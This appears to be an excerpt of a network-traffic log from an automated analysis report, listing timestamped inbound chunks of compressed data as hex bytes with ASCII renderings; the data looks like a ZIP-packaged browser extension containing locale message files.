2021-11-25 16:27:48 UTC 604 IN Data Raw: 81 e3 05 be e9 99 96 ef 39 81 a9 1f 3f 1d 6e 35 92 7e 7b d6 75 6a 4c a7 09 59 6a 4b f6 61 ee 6e eb 1f 0f a9 b6 
a2 e9 4b b2 d4 9e 68 9a d2 d5 36 d1 52 ba 78 ca a7 53 92 69 8f 5c ac 96 9e 5b 5b 52 f1 cf d5 af 62 6d ac ea fa 9e 6b bb 
ba 65 04 ba e7 1c 2f 1d 95 db 66 b1 39 4d e7 74 46 eb 45 69 50 72 05 b6 e9 db d8 a5 0b 59 df 30 5d cf 32 8e 35 dc 27 33 
ca 57 d7 e6 79 fa 42 56 a4 ca cb 92 9b b1 20 5c 8b 63 9a 86 ad bb be 65 19 d0 a5 5b 8e a4 65 98 2c 69 51 d1 94 66 da 
92 ac 1f ca 5c ec 68 c6 15 95 e7 da 67 6e 57 f1 c4 9d b2 3c d5 d6 05 7f 66 2a 7c f0 44 b4 fa 0f e4 a9 20 e7 62 61 47 0f 74 
ac 6c 7b 86 ee 9b 7e e0 f8 c7 0b 77 77 36 73 09 d7 72 5d df f5 6c e6 36 3b b0 2d cf 3d 96 18 71 7f 2d b9 3d 29 ad a8 10 f5 
75 38 db f4 6c d7 f1 03 db f1 0c 4f 4a 8b 6b 92 2d 
Data Ascii: 9?n5~{ujLYjKanKh6RxSi\[[Rbmke/f9MtFEiPrY0]25'3WyBV \ce[e,iQf\hgnW<f*|D baGtl{~ww6sr]l6;-=q-=)u8lOJk-

2021-11-25 16:27:48 UTC 605 IN Data Raw: ab e5 b9 16 2a 7c 78 64 d5 6e d7 c0 6d 7c 37 cf 17 64 f6 44 4e b5 c7 1c db 22 9a a0 8f 47 58 8d 6e c8 78 e7 
b6 76 eb cc cd 34 f1 77 80 aa 26 ef 59 b2 81 2e 69 b5 d3 7d 56 51 e1 81 60 89 2d 35 66 9e 1d 86 a0 6a 06 98 12 95 73 14 
b3 a6 42 8a 19 15 dc 1b 65 cf 79 be 8d 49 cc 02 cf 00 7c a2 c7 a3 54 2d 89 7a 47 ac 0b 24 aa 64 13 b3 92 0d ea 0f a0 b1 
18 6e e8 a6 63 01 83 8f 75 dc 15 f9 a2 20 ab c7 64 4a 78 36 b0 df b8 b0 89 1e 86 f1 c6 f6 7c b4 31 d7 36 7c 19 27 b6 c2 
79 d5 71 58 12 6d d9 e4 23 c6 3b 16 eb 8a 20 38 1b a2 1a 7a 04 ca 14 4f 79 a6 81 06 22 11 36 14 54 e3 14 bd ab 49 0f 44 
22 29 85 a7 2b 69 4a 5a e6 db 4c 8c 47 b6 83 d6 e6 63 20 35 eb 41 d1 f1 15 0d b4 d5 6a 8d 01 67 c9 c6 36 f1 05 aa f9 ee 
bb 13 19 a3 8e 68 32 81 69 39 68 76 4e a0 2b 96 d4 de e7 
Data Ascii: *|xdnm|7dDN"GXnxv4w&Y.i}VQ`-5fjsBeyI|T-zG$dncu dJx6|16|'yqXm#; 8zOy"6TID")+iJZLGc 5Ajg6h2i9hvN+

2021-11-25 16:27:48 UTC 606 IN Data Raw: 45 4c 31 5d fa ba 65 b8 26 7a 0b 86 6d 4f ee f3 7f 8e a6 35 61 15 a5 32 dd b3 17 66 78 1b 71 5b 72 ea a6 fd b4 
4e cf 35 f3 d4 d6 ae ae b7 3b fd 0e fb f4 b3 30 db 73 3d d3 36 41 51 c0 bd 2c 40 b1 34 e5 d4 03 9f aa 0d ef a6 b8 3d a7 3a 
c8 cc 5a 3d 2b 1e 36 47 19 58 c7 34 c1 64 4d 89 59 a8 e3 2b 26 5d f1 89 08 65 3e 23 27 e0 29 35 91 d6 03 5f 79 03 a9 
3e e5 f6 d1 72 82 20 70 6b 9e 63 db 9e 21 83 41 87 6f e2 81 ff 58 08 25 5c da aa a1 de f7 41 b4 5c dd c3 44 28 61 c1 48 
60 cf d1 a1 a3 7c e8 ce 7f 6c 8e 46 b1 37 88 bf fc 8b 1b b2 62 7b 7f 5d 47 06 e5 b6 18 46 fb 96 0b 7e 16 d8 81 d4 19 0f 98 
a3 0f 92 0b 1a 6d 1b e0 52 8c c6 d9 7f bc ca 36 8c 1e f2 0f 4b 5a 02 b9 f9 63 8b b7 65 f7 fd 89 c8 07 db 35 6c df 36 d0 d6 
d1 db 3d 64 d7 b1 2d bf 1d 8c 7f 8c 2d f8 86 13 
Data Ascii: EL1]e&zmO5a2fxq[rN5;0s=6AQ,@4=:Z=+6GX4dMY+&]e>#')5_y>r pkc!AoX%\A\D(aH`|lF7b{]GF~mR6KZce
5l6=d--

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 607 IN Data Raw: a3 9b 68 22 15 86 e2 3d f5 03 61 3e 16 62 64 11 84 e1 32 bc 63 28 26 ed 40 f1 92 c1 4e 0b 28 aa e4 2e c5 e5 
44 f3 fc 5d 38 1e 4a 02 aa 97 85 77 02 37 a1 0c 5f 8a b7 a9 9b e7 87 51 24 b5 67 d5 f9 5f f3 fc b8 a7 da 82 ea fc bd 91 b8 
ef df 8c 6f 25 09 d5 7f f3 79 7d fd 1f 50 4b 07 08 5d 1c 7c 4f 11 10 00 00 16 36 00 00 50 4b 03 04 14 00 08 08 08 00 2a 8c 
04 51 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 69 64 2f 03 00 50 4b 07 08 00 00 00 00 
02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 
6c 6f 63 61 6c 65 73 2f 69 64 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e bd 5a db 72 db c8 11 fd 15 44 f1 c3 ee 16 4d e1 7e
71 d6 71 41 24 28 c1 e2 6d 49 50 2a a7 5c c5 1a 8a 
Data Ascii: h"=a>bd2c(&@N(.D]8Jw7_Q$g_o%y}PK]|O6PK*Q_locales/id/PKPK)Q_locales/id/messages.jsonZrDM~
qqA$(mIP*\

2021-11-25 16:27:48 UTC 609 IN Data Raw: 59 dc 2a d2 76 93 3c 80 b1 d8 43 9c 14 03 53 c6 cb 2a 96 d6 c9 36 8f 4b de 62 5c 6a 2c a3 35 df 56 7e 99 86 
0b d0 78 04 57 9b 90 eb 87 1d 04 4b e1 9c 8f dd e1 11 79 5c aa 96 82 20 77 11 08 52 ca e3 2c 5f c3 49 1a ee b3 ca 9f 04 
94 48 db d2 a0 cc 13 2e 7a f0 c7 87 3c 2e 6e 97 e3 b9 de 29 a7 16 a5 3c a1 d8 06 b4 cb 27 bd 85 ba 62 18 c2 47 44 85 86 
e1 46 f7 51 96 ef db 92 7f 98 cd 6e 1f 2d d8 52 34 ab 7a 31 2d 69 c1 cb 2f 0d b9 ac 91 50 4b 20 eb 34 ca f8 dc f2 fa af 19 
4f 04 fc 40 d5 3f b2 56 1d 0e 08 b2 25 44 0d b6 20 4c 73 44 63 1d 2e a2 c7 e2 1e 9e fa 85 3f 7d cd b6 51 5b ea 96 68 b1 
ad ea 82 0f d8 3e 2f b9 55 ab 88 f8 5b 98 e5 8f 39 44 20 5b 7d 65 b5 56 58 62 e6 59 61 5b 07 a6 b6 7d 5e 4a a1 1a 8f 43 
f6 1c 90 0d c3 30 fc 5f ac 66 b7 4f 96 18 50 79 ae 42 
Data Ascii: Y*v<CS*6Kb\j,5V~xWKy\ wR,_IH.z<.n)<'bGDFQn-R4z1-i/PK 4O@?V%D LsDc.?}Q[h>/U[9D [}eVXbYa[}
^JC0_fOPyB

2021-11-25 16:27:48 UTC 610 IN Data Raw: f2 b0 8a 3f c4 b2 2d 6b 8a a9 02 0b a1 fb 2d ca 24 7f 98 9b 91 c1 0b 34 e4 d2 4f e0 2a b6 41 a2 4a 6a 4b 97 2e 
af fe 2d 7d 41 63 68 f0 ab 9f ab 87 a2 2d 51 d1 ae a3 78 a1 0c 00 1e 44 4b f6 b1 c7 41 cd 7b c5 f3 5f 1e 6f f3 2c e4 8a 54 
81 2f 55 85 c0 50 29 05 e5 48 88 3a 98 68 10 38 51 81 b3 0a f5 22 3b 36 e5 df fa 18 c6 e5 e4 5e 5a 01 e4 1c c7 31 0b b2 
43 17 af 08 aa 04 09 86 b6 96 65 6f cb ff 4a 3b ad 00 18 db 06 c1 9a b2 05 c5 4c 4a a5 5b 82 c2 f3 d9 cf 73 23 ff 83 a1 5c 
30 d9 1f 87 e5 d0 43 1a 07 21 5b 33 c1 ca 8e ee d0 d3 c7 83 20 b0 a1 54 a0 76 74 05 fc ca b9 5b 17 a6 6a d9 9f af 19 ba 
45 41 de 16 e9 5a 7a 83 0c 41 9f ac 2b 00 76 a0 bb 85 7d 26 8f 66 51 f5 64 10 86 ad 18 8e 86 e6 cb 86 e6 32 55 7a 8a 5c 
6f e4 f3 ab 14 1b 51 75 50 58 a6 a2 18 b2 cc 93 
Data Ascii: ?-k-$4O*AJjK.-}Ach-QxDKA{_o,T/UP)H:h8Q";6^Z1CeoJ;LJ[s#\0C![3 Tvt[jEAZzA+v}&fQd2Uz\oQuPX

2021-11-25 16:27:48 UTC 611 IN Data Raw: e0 9b b7 7a fc d4 f3 08 3d 8b ce e5 ea f1 b3 a1 68 09 a2 d3 e6 da e2 66 d4 9f 0d 88 85 e8 2b e5 a7 a7 ff 00 50 
4b 07 08 db d0 86 a4 8f 0e 00 00 6b 2e 00 00 50 4b 03 04 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 00 00 00 00 00 00 
00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 69 74 2f 03 00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 
14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 69 74 2f 6d 65 
73 73 61 67 65 73 2e 6a 73 6f 6e bd 5a 69 6f db 48 12 fd 2b 5c 6f 80 39 e0 d8 bc 8f 60 66 07 8c 44 d9 9c c8 92 47 87 83 
2c 02 08 6d 89 96 1b 43 91 1a 1e ce 4e 02 ff f7 7d d5 24 6d 45 dd f4 ec 2c 76 e7 8b 2d 5b 5d d5 dd d5 55 ef bd 6a f2 cb 
89 a1 1b 7e e0 db 8e 6b d8 be ef 98 ba 63 78 27 6f b4 2f 
Data Ascii: z=hf+PKk.PK*Q_locales/it/PKPK)Q_locales/it/messages.jsonZioH+\o9`fDG,mCN}$mE,v-[]Uj~kcx'o/

2021-11-25 16:27:48 UTC 612 IN Data Raw: 67 c3 d9 36 03 1f c2 86 6b 6b 96 21 63 e9 df 80 f5 3a e3 6b d6 64 2b 96 56 b0 2c cb 11 fd 07 ce 9a 53 68 a1 94 
81 60 7f 43 9e 97 9c 95 f4 7f 52 21 ad 95 58 c9 9a 14 11 79 e4 d9 3a ad 05 11 97 f9 be 80 b6 f8 a5 c6 f2 9e b3 0d 92 25 
81 51 5d f1 94 7f fe cc f0 0d b6 ae 41 c6 a0 48 01 6b 8c 18 9c 2a e8 36 4d 76 1c 3b d8 71 92 5a 05 fd 1f c1 bb ab 33 31 
e9 99 16 6b 1b 5a 21 8c cb 5c ec a6 5d f3 29 2d 7a 97 6f 72 2d 29 f7 29 70 12 33 60 76 50 59 8d 8f a7 58 15 f6 57 01 14 
52 32 2f 13 00 07 c6 a6 a4 88 ca aa a0 5f c5 ae 89 2c c3 32 f8 03 5b ff 8e c9 c8 37 8d fb ed 68 33 6c bd 16 e9 4a 31 68 55 
04 2a a3 64 4f fb 2b d2 76 83 e9 d3 4e 5a f1 97 88 6d 62 0a fa b5 c9 c9 4b 8e f5 14 0f 10 9b 4d 41 da d0 b6 16 08 02 d5 
0c 7c 46 aa 59 b2 54 aa 73 04 29 e5 3b 9e b1 46 fb 
Data Ascii: g6kk!c:kd+V,Sh`CR!Xy:%Q]AHk*6Mv;qZ31kZ!\])-zor-))p3`vPYXWR2/_,2[7h3lJ1hU*dO+vNZmbKMA|FYTs);F

2021-11-25 16:27:48 UTC 614 IN Data Raw: d4 2d 20 ad a7 7b 1e b5 c2 f8 20 61 d4 90 97 6d 66 09 be 6a cc 3c 52 1c 8e 81 d3 42 ef 01 98 96 5b 79 48 ba 
ac de 51 06 d1 45 07 2b aa 64 cd 51 85 88 3b a1 26 9a 58 ed b9 ca 90 33 da 8e 04 5e 26 c4 59 25 ee 62 d3 6f 3a 81 dd 
4c 09 a1 ef eb 96 e1 9a 00 53 74 2b 9e cc 4d 3d 1a 80 98 9f 37 cc 8f b5 50 57 9d 68 df b2 0d da be 64 b7 07 01 9b a7 b6 
76 71 f9 19 b6 0e fd fe ae 9d 0e 9d 94 69 9b a0 43 d0 ba 05 90 91 44 ee 98 ce 1d 6d f4 e1 05 72 c3 ec 5f 93 bd f0 47 39 
4a ba d9 80 63 d3 84 9e 31 25 6a 9b 71 29 ce e8 74 88 06 c1 88 42 37 e9 81 af e6 f7 ee 4e e9 c0 12 18 19 04 81 2b e8 d4 
b6 3d 43 ae 28 1c 2c e5 14 cf ea d6 c4 12 c8 e4 fb a0 6e 57 f7 20 ee a5 6a 1a b6 f0 21 3a fc a7 59 9f ef 11 fe 5a 22 50 2c 
f8 af 63 02 48 2e 8b f0 ca b7 5c d0 7c 60 07 12 3c 7f 25 
Data Ascii: - { amfj<RB[yHQE+dQ;&X3^&Y%bo:LSt+M=7PWhdvqiCDmr_G9Jc1%jq)tB7N+=C(,nW j!:YZ"P,cH.\|`<%

2021-11-25 16:27:48 UTC 615 IN Data Raw: 32 7f af 28 1f c5 eb 58 07 2e 2e c3 c9 05 a4 cb 2a 9e 84 28 9b 1b 69 05 aa bb 5c a5 f9 0d aa 4d 96 4e 8a b7 28 
14 d6 6d 07 20 b7 8a f2 23 32 85 f5 22 5e 8c a3 95 54 18 8a 57 0d 0f 8c 9b b6 10 2d 4b 2b 18 06 e1 35 a1 98 b4 03 c5 c3 
db 27 2f 90 a8 52 b8 14 37 e6 dd f8 eb 70 39 97 0c 54 6f b2 3d 19 8c 43 19 be 14 ef f1 75 e3 e7 51 24 d1 b3 ea 0a ae 1b 
bf 9c a8 b6 a0 ba 8b ee 2c 6e a6 e3 e5 95 64 a1 7a 17 fb f1 f1 df 50 4b 07 08 35 c9 27 78 2c 0f 00 00 5d 2f 00 00 50 4b 03 
04 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 69 77 2f 03 
00 50 4b 07 08 00 00 00 00 02 00 00 00 00 00 00 00 50 4b 03 04 14 00 08 08 08 00 29 8c 04 51 00 00 00 00 00 00 00 00 
00 00 00 00 19 00 00 00 5f 6c 6f 63 61 6c 65 73 2f 69 
Data Ascii: 2(X..*(i\MN(m #2"^TW-K+5'/R7p9To=CuQ$,ndzPK5'x,]/PK*Q_locales/iw/PKPK)Q_locales/i

2021-11-25 16:27:48 UTC 616 IN Data Raw: ec 9e a2 a1 4f cd d5 3c 24 44 ec 4b f5 39 af c9 4b 80 9a 10 2a e0 d3 02 fb 36 26 3a 72 ce c2 d4 2b 15 44 3f c1 
41 75 da 4a 5b 1a 27 ad 68 85 9e ac d0 46 49 ad 04 53 f0 5c 40 be 4c 4a 10 91 7e b2 8b 7c 6e 4d 02 95 0c 24 6b e0 39 81 
7d b2 56 6e b3 5e ac 0c c7 b9 62 80 03 2d c0 db 14 f6 0d 10 6e 12 31 11 ec 03 38 d8 36 d6 fd 03 ba 0b 81 2b 0f 1f 69 e4 
1c 0e 49 fd f8 b2 e1 a2 54 3c e7 cc 8a 32 fa 0b 0a 99 36 fe ec 62 c7 3c a0 e9 c5 11 81 dd 0e 25 71 17 54 e6 ad 1a 2b ee 
c6 6f 40 d6 88 41 c0 79 e0 fb 94 2f d4 7f df c5 77 89 95 7f ae e1 89 2e 20 a1 5d 5c 03 6c 91 8d a3 f8 11 46 11 5c 4f 79 cb 
bc 48 84 22 8e 57 36 ba 22 ee 39 15 14 66 b3 89 21 38 af 61 d7 2b b0 2c 38 c7 f1 95 33 b9 5b 2f 43 6e 09 14 a6 31 87 b5 
ab a7 a1 8d 63 6e 3d 87 77 3b 83 eb 50 7c dd f1 83 
Data Ascii: O<$DK9K*6&:r+D?AuJ['hFIS\@LJ~|nM$k9}Vn^b-n186+iIT<26b<%qT+o@Ay/w. ]\lF\OyH"W6"9f!8a+,83[
/Cn1cn=w;P|

2021-11-25 16:27:48 UTC 618 IN Data Raw: c6 4d f2 5a 13 8d 01 35 68 fc ae fe 3d c5 02 60 b4 82 5c de 33 5a 02 09 7c 4d db c5 2b c3 13 c8 64 e5 8c 0d 00 
48 53 0e 85 24 32 c8 1d 3f 05 65 62 13 f9 6b 0a aa 9c c4 12 4a 43 d1 0a 5e aa 23 67 be b8 37 73 e9 c5 81 af 08 f3 de 96 
9f 23 7b bc fc de e7 ec a1 d4 df ef 98 3d d1 46 5b c0 10 09 87 fc 0a 51 1c d2 ec 56 bf f7 a2 1a 8e 27 b5 e9 bb ad 4c b8 82 
e4 60 a1 6c 13 46 4b 46 18 c3 66 c2 44 7b 20 41 71 d4 3b d8 ac 9f 68 01 b6 a4 52 5a 40 30 e0 77 c6 b2 4d 23 5e 09 b2 f8 
06 5f ef b5 82 3f 06 87 5c fe 
Data Ascii: MZ5h=`\3Z|M+dHS$2?ebkJC^#g7s#{=F[QV'L`lFKFfD{ Aq;hRZ@0wM#^_?\

2021-11-25 16:27:48 UTC 618 IN Data Raw: 38 5e a4 11 7b e1 ba f1 f8 82 73 ee f6 96 54 f2 7c 16 1a c4 15 31 79 5c 47 78 ab c3 63 1c af 1d 49 1c 05 44 72 
b0 1f 3c bc 4c 1c 3e 82 a8 a0 c2 16 b9 5b 88 52 a1 df d2 76 6d ea 36 2e 91 a8 ca 03 a9 c4 3b 50 09 9b 96 5e 23 57 62 5b 
0c 5a ac 9e 2d fa 43 92 98 13 af e2 b6 c1 93 b6 f4 0c e3 e7 06 ce 60 5d a8 b5 36 4d 98 e0 65 13 11 70 98 82 bc fd cc 86 
88 37 ba 50 0f f1 a5 1c 82 0e 04 6f 06 f0 15 7c 95 41 48 d8 8a f9 bd 21 d0 98 12 0a 94 6f 70 cb df ab 74 d7 c6 46 f7 50 4d 
fe ba 61 cf 24 65 ff a7 2c 9d b8 62 f4 41 f6 1a 5e 0b 6a cf cd 0e f7 cd 40 6d 55 a0 6e 87 6c 7f 4d 01 1b aa e7 99 f5 6b 93 
02 c0 90 24 40 be 94 a5 69 79 f2 0f 5f 36 00 29 af 1f eb cc 27 2d 4b 67 cd c1 12 15 57 00 1c a9 19 07 b2 63 e9 35 26 71 
68 08 c7 74 8a 70 94 c3 31 31 5f bf f5 a9 b5 bf 
Data Ascii: 8^{sT|1y\GxcIDr<L>[Rvm6.;P^#Wb[Z-C`]6Mep7Po|AH!optFPMa$e,bA^j@mUnlMk$@iy_6)'-KgWc5&qhtp11_

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:27:48 UTC 619 IN Data Raw: 86 22 54 d1 88 24 79 a2 e5 44 91 18 74 42 f8 15 be f1 49 ad 1c be 0d 43 7c f8 f6 13 b5 72 94 95 01 96 90 9b 
1a 2c a4 08 44 96 53 af b9 c5 96 57 ae 16 c4 52 a2 24 88 12 a0 f2 03 35 1a 11 25 30 9e 82 a7 86 d1 90 2a 54 29 1a 15 1e 
7a 33 3d 98 0d 47 b3 ac 04 36 a1 39 86 93 d2 51 42 a5 7d 0f 4f b3 10 08 13 ff 67 22 4a a4 9f 75 26 53 c8 55 25 e0 cb 88 
a8 1b ce 60 46 49 41 aa 08 8d 9a 7a 19 30 4a 01 80 eb 2f 10 7d c0 4f 63 c9 8b 7a d7 94 22 57 e7 af 0d 71 95 98 41 8b d3 
e9 8f b2 ec b7 30 99 51 ff 4f 25 4e 84 0a ce c4 fb b7 1b 08 8c 60 af 42 41 c2 61 b8 38 89 5f b2 d1 db 10 10 10 5d d6 38 89 
48 86 a0 06 69 37 10 21 32 04 35 40 13 a7 50 43 93 30 ed 86 ff d4 63 03 8d 09 e0 cd d0 64 a9 b1 a0 38 91 e9 e0 ac 33 e9 
1e 52 46 46 8d 03 50 84 de 0d a7 50 a1 0f c6 67 84 fb 
Data Ascii: "T$yDtBIC|r,DSWR$5%0*T)z3=G69QB}Og"Ju&SU%`FIAz0J/}Ocz"WqA0QO%N`BAa8_]8Hi7!25@P
C0cd83RFFPPg

2021-11-25 16:27:48 UTC 620 IN Data Raw: f2 9a 48 a9 98 42 43 68 ca 5a f2 2e 01 ca 90 a4 a1 56 c1 6a 62 21 4b 4b c5 18 ac 4f ea da e7 73 50 64 3e ca 
41 93 8b f9 cf 9f 3e dc 5e 15 1f 7e be ac eb eb ea e6 19 1d fc 4a 3e 7b e3 d5 11 83 a4 cb 06 21 6f ae cd 97 5f e9 e7 cf d3 
d9 c9 70 92 ff 91 cd be 0c ba 78 6f 32 71 5c 2c ef a4 c5 0e d2 22 34 38 db 80 0e dc 1f 65 f1 e0 0d 2e 6f de 55 57 f7 db e3 
9f 5f bb c7 97 a0 7f 21 a0 36 10 0a fe c7 20 4d 2b 82 d4 db 2e b3 0f 1e 0f c6 17 e3 b0 10 3c 97 50 28 d3 16 cc 66 b9 e2 0c 
31 3c 6c ed 57 86 c0 33 a2 ab dd a5 ed 80 47 00 24 01 9c b8 ec ad 98 95 ce 5d f4 16 48 48 b1 86 bf cd ba 6a 9c c6 40 45 
27 44 73 ae 61 6b c6 39 67 d8 de 3b f5 88 19 4a 04 05 20 a0 2d 94 70 aa a1 16 22 f5 8c 9a 8d 43 03 0d 18 e1 e0 dd 46 29 
a6 8c a0 04 6a 82 a5 c8 1a e0 d9 db a5 e0 1d a0 
Data Ascii: HBChZ.Vjb!KKOsPd>A>^~J>{!o_pxo2q\,"48e.oUW_!6 M+.<P(f1<lW3G$]HHj@E'Dsak9g;J -p"CF)j

2021-11-25 16:27:48 UTC 621 IN Data Raw: d5 f5 bb cb cb 9b 30 b1 95 8c ab 76 28 28 b9 02 1b 2a 66 b4 06 3c 60 89 a4 48 46 81 de 81 b6 90 4f fb ce 45 
aa 3a c4 bd 6c a8 68 29 dd f0 5f 5a 4b 5d d3 8c cd 4d f0 b3 83 c1 e3 c1 8b 71 43 c4 48 88 5c 6e ac 54 d0 db 4b 95 b6 de 
e7 a3 10 03 06 9b ed 07 40 07 56 33 83 57 ef 1f 1f bf f7 3f dc eb 1c ac dc 3f c4 49 93 57 73 2a 27 85 20 e0 16 9a 29 03 ca 
d2 44 50 f4 b8 ea 5e 69 e1 a1 09 a1 72 01 ce 5c c3 62 42 b1 08 c9 3b 1d 2a 34 7c 1f 2e 4b 52 80 2c d6 70 f8 2f 54 6d 4a 
2c 2a 48 dc 63 e0 67 70 db f1 3a 3a 1e 08 e7 3d d2 d4 a4 8b b6 be dc d2 0b df 83 20 07 eb d2 56 28 25 09 17 0a 82 89 b8 
13 10 a1 50 20 de cb 41 54 d7 ca 78 16 a0 a2 bf e3 5a d6 64 ea c1 72 76 3a 68 05 54 b2 c1 de d1 f0 e6 4e 5b 18 a9 18 a1 
50 ce 99 85 62 a8 2c 7a d6 1b 1b 60 1d 25 ca 78 18 71 
Data Ascii: 0v((*f<`HFOE:lh)_ZK]MqCH\nTK@V3W??IWs*' )DP^ir\bB;*4|.KR,p/TmJ,*Hcgp::= V(%P ATxZdrv:hTN
[Pb,z`%xq

2021-11-25 16:27:48 UTC 623 IN Data Raw: e9 2c c7 f9 74 f5 fb 72 78 9a 2f 5e ef 53 c0 aa 61 42 61 34 9c 8c b2 d3 d5 f3 e5 62 31 9d a4 3c a4 97 5d 53 0a 
d3 c9 02 04 00 2e b2 b9 93 69 9f 08 36 4e 4c 88 8c f3 f1 6a 32 5d ac 16 b3 44 0c ac 43 4e d6 1f 67 d9 f8 f9 70 f4 72 95 9d 
0d f3 d3 d5 71 9e 9d 8e f7 09 61 d7 dd fa 09 1d 4f 67 67 ab 71 36 1f cd f2 73 54 2c e4 6c ab 9f da 8b 6c 38 ce 66 fb 34 b0 
ce a9 9f c6 f9 6c 7a 76 be 48 d4 93 8e 6f fa 49 cc b2 df 97 f9 2c 4b 54 83 4d 8e fa a9 2c 5e 9f 67 07 cc 9d 0e f7 13 52 67 
f9 6c 36 9d e5 93 93 d6 77 57 f3 e5 73 a7 23 f8 2a 71 63 04 48 25 04 27 d9 e2 d5 74 f6 12 fc e8 f8 38 9b 39 77 7c 95 1f e7 
89 be 11 ac de 4b aa 4f 40 ec 9d a2 5e 22 f3 e1 59 86 b2 82 9d d3 f4 52 79 e5 6c b6 3a 1f 25 aa 49 f1 4d 4a 63 ba bf 0a 
bb 5a 9a 2c 3b 9f e5 17 c3 d1 eb d5 78 b8 
Data Ascii: ,trx/^SaBa4b1<]S.i6NLj2]DCNgprqaOggq6sT,ll8f4lzvHoI,KTM,^gRgl6wWs#*qcH%'t89w|KO@^"YRyl:%IMJcZ,;x

2021-11-25 16:27:48 UTC 624 IN Data Raw: 67 39 8e 47 8a 49 9e 6e 7d 8a 69 91 39 64 e2 78 dc 73 5c a0 b1 a0 8d f2 06 94 ad 80 0b 7a a9 0a a7 25 7b 59 
74 cc 2b bb 56 a6 24 b0 e5 5a 3a 73 85 f4 6e ae b1 a0 37 b9 30 b3 71 0b 56 29 69 44 e1 b5 96 b0 11 a1 2d bf 85 fa 50 5e 
d5 54 a6 54 e0 44 1c d1 4a 66 2a 27 3f 2c 82 e3 d6 fa bf e9 72 93 d2 5a e3 ee df 4b 74 4a 2a d9 79 94 46 dc 26 b6 d3 48 
bb b1 00 29 7e 12 ee f2 38 f1 c5 8a 20 80 31 c6 49 e1 95 0f d6 b3 ce c0 93 4d c7 5d 25 01 17 ba 28 7c e1 4c a5 5b 26 18 
ed 8a 3c 77 e7 aa 69 3c d5 56 23 15 2f 40 39 95 33 85 f5 c1 58 27 1d eb 98 f0 f5 23 e3 13 95 e5 9a fa ca ba 13 5d 2b 74 
70 56 80 ca 2b a1 84 f6 5b ce 18 9d dc ca 85 b4 1e 0d 47 ed c1 68 72 de ed bd 7c d4 3a bb be 7e f7 61 d1 7a 71 fd 47 74 
18 be d8 bc fa 5a 18 2b b7 91 58 8f f6 99 94 65 f9 a8 ec 
Data Ascii: g9GIn}i9dxs\z%{Yt+V$Z:sn70qV)iD-P^TTDJf*'?,rZKtJ*yF&H)~8 1IM]%(|L[&<wi<V#/@93X'#]+tpV+[Ghr|:~azqGt
Z+Xe

2021-11-25 16:27:48 UTC 625 IN Data Raw: 99 6e ef ad a6 8f c2 7a c1 74 99 a9 4c 37 8f 38 5f b3 ef 50 30 b2 51 d5 cb d9 e8 3e 3a 78 b8 65 61 e6 53 ef da 
54 c4 bd 4d 31 29 56 8a 04 0d 95 9b f2 92 cd 55 3c 93 b8 d2 41 71 d1 0a a7 79 38 f4 26 5f 8f af b9 c0 87 38 f0 6a 53 64 
3b 0d 98 97 64 3a 5f 9f aa 51 be 6b 14 56 91 48 9b 6c a2 55 38 89 44 8d 15 36 57 d1 4f 8b 8b ed c6 b0 77 09 ef 70 7d fd 
b9 4e ec 10 f5 8f 32 53 eb 9f 06 fb 78 3f c3 48 e5 d9 fa 78 14 cd 4f e9 3e b7 2b 66 23 64 a2 1e d4 5e 27 3e d8 85 65 1d 48 
50 eb 43 06 2a ff 94 12 3d bc 34 11 77 a9 db 4c 9f 04 22 95 04 29 6a 0e 78 45 be d8 e1 36 9b 06 bc 79 a0 ed 8d af 79 03 
bd c6 54 d1 48 e3 b5 10 02 92 5f 07 79 11 24 df 7c eb 33 0b b8 be 3f 23 6e 6c 34 2e 9b 6f 57 8c 39 52 7e 52 bb 6b a6 8a 
bf a5 53 16 1a f2 37 5d e5 60 42 59 0d 39 3e 7b 4a 
Data Ascii: nztL78_P0Q>:xeaSTM1)VU<Aqy8&_8jSd;d:_QkVHlU8D6WOwp}N2Sx?HxO>+f#d^'>eHPC*=4wL")jxE6yyTH_y
$|3?#nl4.oW9R~RkS7]`BY9>{J

2021-11-25 16:27:48 UTC 627 IN Data Raw: 87 1c 98 b9 50 1c f9 49 51 ae 91 ab 2e 0e 1c e1 d8 91 16 61 5e 44 0e a7 78 80 a3 37 42 95 5c 5b f7 5b fb 23 
39 d4 be 9a 47 f8 fe 33 ee 3f f4 95 f5 fc 0d 90 b1 df 3c ce 3e 35 b4 ac 8b c7 0d ab 46 ab 7c be 79 b9 1f dd 21 d9 31 e3 15 
d0 24 1e 16 44 16 ed a5 16 08 20 74 57 08 25 ab fe 33 a4 73 06 60 33 eb 25 91 a7 a1 c8 ad d1 4a a4 9e d8 49 08 38 00 
36 04 a4 de e0 8a 05 84 83 0c 4c bb 2f 1a e7 eb 23 91 f5 58 b1 b0 6e e0 5b 0b 56 19 30 cf b7 a6 1b fa 2e 81 22 8d 6a ea 
23 4e 27 a9 67 4c 12 00 ee f8 a2 ea 43 55 15 3b 69 04 1d 02 c7 b5 53 74 c8 87 cc 26 37 ca a8 ff 42 79 e5 c3 54 67 a9 10 
f6 2c ce ae 30 0e 18 91 86 6c d3 09 e7 aa 79 7c 78 c3 27 6b 18 af 46 fd 6c dc a0 17 69 b9 aa 46 6c 25 58 a4 91 06 f2 57 
7a 07 03 ee 1e ef b0 95 ed d1 3b c9 06 c9 2c 15 0f b7 76 
Data Ascii: PIQ.a^Dx7B\[[#9G3?<>5F|y!1$D tW%3s`3%JI86L/#Xn[V0."j#N'gLCU;iSt&7ByTg,0ly|x'kFliFl%XWz;,v

2021-11-25 16:27:48 UTC 628 IN Data Raw: d2 ef 93 08 c6 54 03 f2 04 c6 bd 2e 40 85 f3 f3 ee 59 97 e1 09 77 5f 0e 47 ab d3 1d 9e b4 07 9d 4a 52 a7 dd c1 
